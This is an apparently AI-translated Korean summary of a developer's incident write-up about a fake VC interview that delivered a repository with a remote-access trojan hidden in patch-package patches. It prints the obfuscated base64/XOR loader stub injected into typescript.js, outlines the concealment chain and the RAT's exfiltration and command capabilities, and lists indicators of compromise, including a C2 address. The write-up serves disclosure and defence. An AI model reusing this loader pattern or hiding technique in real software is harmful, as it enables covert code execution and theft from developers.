실패한 (국가 주도?) 공격의 해부
요약
가짜 인터뷰를 가장하여 개발자의 기기에 백도어를 설치하려는 정교한 사회 공학적 공격 사례를 분석합니다. 공격자는 Rust 패키지 관리자를 표적으로 삼았으며, Claude를 활용해 악성 스크립트와 의심스러운 코드 패턴을 신속하게 탐지할 수 있었습니다.
핵심 포인트
- 가짜 인터뷰 및 VC를 사칭한 정교한 사회 공학적 공격 기법
- crates.io 패키지 관리자를 표적으로 한 백도어 설치 시도
- Claude를 활용한 악성 코드 및 의심스러운 package.json 패턴 분석
- patch-package 등을 이용한 은밀한 악성 코드 삽입 위험성
공개 사항 (Disclosures)
🧠 이 포스트는 IoC (침해 지표) 정보를 제외한 모든 산문이 완전히 사람이 작성했습니다. 시급성을 요하는 사안이었기에, RAT (원격 관리 도구) 분석을 가속화하고 IoC 탐지 스크립트를 구축하기 위해 Claude를 사용했습니다.
저는 캐나다에 거주하고 있으므로, 이 정보는 적절한 캐나다 기관(CCCS 등)에 보고되었습니다. 페이로드가 포함된 이미지는 VirusTotal에서 어떤 AV (안티바이러스) 엔진도 트리거하지 않습니다.
공격자의 신원은 허구이지만, 동일한 이름을 가진 무고한 개인들이 있어 혼동될 수 있으므로 이 글에서는 제외했습니다.
Reddit에는 자신들도 표적이 되었다고 언급한 Rust 커뮤니티의 다른 인원들이 몇 명 더 있습니다.
이번 주에 저는 제 기기에 백도어 (Backdoor)를 설치하도록 설계된 가짜 인터뷰 사기(fake-interview scam)와 매우 근접하게 접촉하게 되었으며, 이메일의 문맥으로 보아 제 crates.io 패키지들이 표적이 된 것으로 추정합니다.
참고: 일부 내부 문자열 때문에 이를 “PinpinRAT”라고 부르고 있지만, 외부에는 다른 이름으로 알려져 있을 가능성도 있습니다. 온라인에서 이에 대한 다른 참조를 찾을 수 없었습니다.
1주일 반 전, 저는 Lua Ventures라는 곳에서 온 “D█████ S████”라는 인물로부터 이메일을 받았습니다. (당시에는 알지 못했지만) 이곳은 DeFi (탈중앙화 금융) 분야의 싱가포르 기반 폐업 벤처 캐피털(VC)이었습니다. 분명히 말씀드리자면, 이는 조작된 페르소나입니다. 그리고 그 이름은 해당 이름을 가진 여러 실제 인물 중 한 명으로 쉽게 오인되도록 선택되었을 가능성이 높습니다.
그 이메일은 다소 지루하지만 합법적으로 보이는 LinkedIn 프로필 링크를 포함하여 실제 이메일처럼 보였습니다.
공격자는 심지어 자문 업무를 구체적으로 찾고 있던 자신들의 투자처 두 곳인 Lyrasing과 Roadpay를 언급하기도 했습니다. 두 회사 중 어느 곳을 검색해도 특별한 경고 신호는 없었습니다. 두 회사 모두 매우 기본적인 웹 존재감을 가지고 있었으나, 단순히 *초기 단계 (early stage)*인 것이지 가짜임을 나타내는 징후는 없었습니다. (roadpay.cc의 archive.org 스냅샷).
우리는 회의 시간을 두고 의견을 주고받다가 결국 대화를 나누기로 한 시간을 정했습니다. 통화 자체에도 이상한 점은 없었습니다. 독일 억양을 가진, 다소 알아듣기 힘든 남성이 전화를 받았습니다. 그는 여행 중에 전화를 받는 것이라고 말했는데, 이는 약간 이상했지만 다시 말하지만 반드시 위험 신호(flag)라고 볼 수는 없었습니다.
통화가 끝난 후 미끼가 던져졌습니다. "테스트"를 제안하는 후속 이메일이었습니다.
이 시점에서 저는 약간 짜증이 났지만, 의심스럽지는 않았습니다. 저는 저장소(repo)를 클론(clone)했지만, 첫 번째 진정한 위험 신호(red flag)는 바로 여기서 발생했습니다.
운이 좋았던 점은 그들이 TypeScript 저장소를 보냈다는 것입니다. 저로서는 이해가 되지 않았습니다. 지침(instructions)은 어떤 종류의 아키텍처 분석이라기보다는 TypeScript 기술 면접에 더 가까워 보였습니다. 저는 주의와 게으름이 결합된 판단으로, 저장소를 압축하여 빠른 스캔을 위해 Claude에 던져 넣기로 결정했습니다.
잠시 후, Claude는 몇 가지 이상한 점을 식별했습니다:
특히, 루트
package.json에postinstall/preinstall훅(hook)이 없습니다. 흥미로운 점은 그들이patch-package를 사용하고 있다는 것인데, 이는 보통postinstall에 연결됩니다. 모든package.json에서 라이프사이클 스크립트(lifecycle scripts)를 확인한 다음, 패치 파일들을 감사(audit)해 보겠습니다 (실제 위험 표면(risk surface) — 패치는node_modules에 임의의 코드를 주입할 수 있습니다).
그것이 제 흥미를 자극했습니다. 저는 직접 디렉터리들을 스캔했고, 상당히 비합리적인 수의 patches/ 디렉터리를 발견했습니다. 처음 확인한 몇 개는 충분히 무해해 보였지만, 여러분이 짐작하시듯 그들은 실제 페이로드(payload)가 발각되지 않도록 노이즈를 추가하려 했을 뿐이었습니다.
packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch
제가 수동으로 천천히 확인하는 동안, Claude는 PinpinRAT의 첫 번째 징후를 식별했습니다:
찾아냈습니다. 이것은 악성 페이로드입니다.
typescript+5.9.2.patch안에 내장되어 있습니다.
파일 — TypeScript에 대한 일상적인 “모듈 지정자 (module specifier)” 패치로 제시된 것 안에 — _tsc.js와 typescript.js 모두의 맨 윗부분에 주입된 base64-blob 형태의 즉시 실행 난독화 스텁 (self-executing obfuscation stub)이 존재합니다:
;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor";
이 코드는 base64 문자열을 디코딩하고, 키 73을 사용하여 모든 바이트를 XOR 복호화한 뒤, require, process, Buffer 등이 전달된 상태로 new Function(...)을 통해 결과를 실행합니다. 이것은 tsc 또는 typescript.js를 임포트하는 모든 것이 실행될 때마다 — 즉, 첫 번째 npm run typecheck / build / dev 단계에서 — 작동하는 숨겨진 코드 실행 페이로드 (code-execution payload)입니다.
… 그리고 그 시점에서 저는 제 로컬 머신에서 더 이상 이 곰을 건드리지 않기로 결정했습니다. 실수로 폭발시키는 것을 방지하기 위해 비밀번호를 걸어 압축해 두었고, 샌드박스 (sandbox)에서 분석을 계속 진행했습니다.
함정
해당 리포지토리는 “Ticket Harbor”라는 이름의 페리 티켓팅 앱을 테마로 하고 있습니다. 번들 내에 포함된 task.txt에는 그럴듯하고 지루한 작업들이 나열되어 있었으나, 마지막에는 다음과 같이 적혀 있었습니다:
제출하기 전에 리포지토리의 typecheck, 테스트 스위트(test suite), 그리고 관련 데스크톱/서버 빌드 명령어를 실행하십시오.
이 지시 사항이 바로 당신을 낚는 함정입니다.
공격 체인은 다음과 같이 작동합니다:
- 네 개의 별도
postinstall훅 (hook)이patch-package를 실행합니다. 하지만 그중 하나는 패치 파일들에 대해git update-index --skip-worktree를 실행하여,git status에서 파일들이 보이지 않도록 숨깁니다. typescript+5.9.2.patch는typescript.js와_tsc.js상단에 즉시 실행 스텁을 주입합니다. 이는eval을 피하기 위해 (아마도 악성코드 탐지를 피하려고)new Function(...)에 입력되는 가볍게 난독화된 블롭 (blob)입니다.- 해당 로더는
operators/3.png라는 이름의 파일 끝에 추가된 숨겨진 청크 (chunk)를 읽고, 작은 임베디드 WASM 스텁 (커스텀wAsm내부에 포함된)을 실행합니다.
chunk), 그런 다음 1.68 MB 크기의 난독화된 2단계 페이로드 (payload)를 담은 분리된(detached) 조용한 Node 프로세스를 생성합니다. -
이 공격은 세 가지 계층에서 흔적을 지웁니다: git skip-worktree 트릭, 드롭퍼 (dropper)가 첫 실행 후 자신이 주입한 라인을 삭제하도록 patch를 다시 작성하는 방식, 그리고 2단계 임시 디렉토리가 실행 시 스스로 삭제되는 방식입니다.
실제 페이로드는 RAT (원격 접속 트로이 목마, remote-access trojan)입니다. 처음에는 이것이 자격 증명 탈취기 (credential stealer)일까 봐 걱정했는데, 실제로는 훨씬 더 심각했습니다. PinpinRAT는 세 개의 난독화된 계층 안에 중첩되어 있었으며, 이를 해제하는 과정은 매우 고통스러웠습니다: obfuscator.io (LLM 보호를 주장하지만 말이죠, 하!), 그리고 추가적인 두 개의 base64 계층입니다.
드롭되는 내용
- 이 정보를 빠르게 공유하고, 2) 제 컴퓨터에서 실수로 악성코드를 실행(detonating)하지 않기 위해, 저는 Claude가 샌드박스 내에서 실제 트로이 목마를 분석하도록 하고 그 내용을 설명하게 했습니다.
분명히 말씀드리자면: Claude는 약 5분간의 작업만으로 여러 단계의 난독화를 역공학 (reverse engineer)할 수 있었으며, 이는 제가 할 수 있었던 것보다 훨씬 빠른 속도였습니다.
이 드롭되는 결과물은 숙련된 누군가가 제작한 것으로 보이는 완전한 원격 접속 트로이 목마 (RAT)입니다. 이 트로이 목마는 로컬에 RSA 키를 설정하고 세션 키로 AES-256-CBC를 사용합니다.
시작 시 호스트 지문 (fingerprint)을 수집하고 유출하는 체크인 루틴을 호출합니다:
- 기본 IP 주소 (모든 비내부 인터페이스를 열거), 그리고 모든 IP
- 사용자 이름 (
os.userInfo().username) - 호스트 이름 (hostname)
- OS 유형 + 릴리스 (release) + 플랫폼 (platform) + 아키텍처 (architecture)
- 프로세스 PID 및 전체
process.argv - Node 버전
RSA-2048 키 쌍과 무작위 AES-256 세션 키 (aes_psk)를 생성하며, 이후의 모든 트래픽은 HMAC-SHA256 무결성 태그 (integrity tag)와 함께 AES-256-CBC로 암호화됩니다.
다음 명령어를 지원합니다:
env — JSON.stringify(process.env)를 덤프하여 전송합니다.
upload — 임의의 파일 경로를 읽어 유출합니다.
download — 공격자가 제공한 바이트를 쓰기 가능한 모든 경로에 작성합니다.
spawn — 선택적 셸 확장 (shell expansion)과 함께 임의의 프로세스를 실행합니다.
ls / cd / pwd / cp / mv
— 일반적인 파일 시스템 프리미티브 (filesystem primitives). dns
— 지정된 리졸버 (resolver)를 통해 호스트가 임의의 이름을 해석하도록 만듭니다 (DNS 터널링 (DNS tunneling) 용도?). dismantle
— 자기 삭제 (self-removal).
침해 지표 (Indicators of Compromise)
만약 이 중 하나라도 실행했다면, 즉시 시스템을 네트워크에서 분리하고 다른 기기를 사용하여 자격 증명 (credentials)을 교체해야 합니다. 복구 (Remediation) 과정은 간단할 수 있지만, 귀하의 자격 증명 (쿠키 및 비밀번호로 보호된 비밀 정보 포함)이 노출되었다고 간주해야 합니다.
다음은 PinpinRAT 악성코드에서 발견된 몇 가지 침해 지표입니다:
-
C2: 89.124.107.161:80
-
예약된 작업 (Scheduled task) (Windows):
PinpinWrappedJs -
프로세스 마스커레이드 (Process masquerade) (macOS):
com.apple.WebKit.Networking -
환경 변수 (Env vars):
NODT_PAYLOAD_PATH
,NODT_PAYLOAD_ARGS -
PNG 청크 가드 (PNG chunk guard):
WASMPACK
(wAsm) PINPIN_NO_AUTOSTART=1
: 지속성 (persistence) 중단 - mutex.js를 이용한 cronjob
(RAT에 권한이 있는 경우에만 해당하며, macOS에는 존재하지 않을 수 있음) - typescript.js 내의 앵커 문자열 (Anchor strings)
:12ff4b51
, ticket-harbor-tsc-shim-anchor
typescript+5.9.2.patch (페이로드 포함)
- 아티팩트 디렉토리 (Artifact dirs):
~/Library/Caches/runtime-cache/.cache-<randomhex>/(macOS)
,/tmp/.cache-<randomhex>/(Linux)
,%TEMP%\.cache-<randomhex>\(Windows) - ..
payload.js및mutex.js를 포함하는 디렉토리 - ..
내가 플래그 (flags)를 발견했어야 했던 지점들
더 일찍 플래그를 발견했어야 했던 지점들이 몇 군데 있습니다. 이 캠페인의 목표는 방어 체계를 자극하지 않을 정도로 플래그를 미묘하게 유지하는 것이지만, 충분한 노란색 플래그 (yellow flags)가 쌓여 빨간색 플래그 (red flag)가 될 때를 포착할 수 있을 만큼 경계심을 유지해야 합니다.
메시지들을 자세히 살펴보면 LLM 특유의 흔적들이 보입니다. 이는 아마도 모든 것에 대해 극도로 회의적인 태도로 접근해야 한다는 신호일 것입니다.
LinkedIn 프로필은 첫눈에는 진짜처럼 보이지만, 최소한 무언가 잘못되었다는 느낌(salad vibes)을 주어야 할 의미 없는 나열(“BSc(Hons), MA (Dist), PGDipFM, CEng”?)로 가득 차 있습니다. 실제 활동 내역도 없습니다.
그들의 웹사이트에 있는 소셜 미디어 링크는 실제 이력이 있지만, 2025년 11월에 이름이 변경되었습니다. 게시물들은 모두 매우 공허하며, 구체적인 설명 없이 기업들에 대한 모호한 찬양뿐입니다.
웹사이트를 보유한 기업들 중 그 화려한 웹사이트 너머로 실제적인 존재감을 가진 곳은 단 한 군데도 없었습니다.
그들은 제대로 된 초대장을 보낸 적이 없습니다. 그저 시간과 Google Meet 링크뿐이었습니다. 캘린더를 사용하지 않는 VC가 어디 있습니까? 그들은 내내 카메라를 꺼두었으며 "이동 중"이라고 했습니다.
그리고 전반적인 접근 방식 또한, 싱가포르에 기반을 둔 VC 펀드가 CEST(중앙 유럽 여름 시간) 시간대로 운영되면서, 미국 고객을 타겟팅하는 도메인을 사용하면서도 정작 끝은 .cc로 끝나는 방식으로 캐나다의 개발자에게 연락을 취해왔습니다.
이렇게 멀리 떨어져 있는 조직의 자격 요건을 확인하는 것은 훨씬 더 어렵습니다.
사후 확신 없이는 아무것도 명백해 보이지 않았지만, 전체를 함께 놓고 본다면 빠진 조각들이 보입니다.
그래서 이들은 누구였을까?
확실하게 말할 수는 없지만, 이것은 표적 공격이었으며, 가짜 페르소나를 활용한 꽤 설득력 있는 위장 스토리, 도용된 이력을 가진 여러 개의 가짜 웹사이트, 그리고 인내심 있는 타임라인을 가지고 있었습니다. git 함정은 정교했습니다. 이 "가짜 인터뷰 사기(fake-interview scam)\
AI 자동 생성 콘텐츠
본 콘텐츠는 HN AI Posts의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기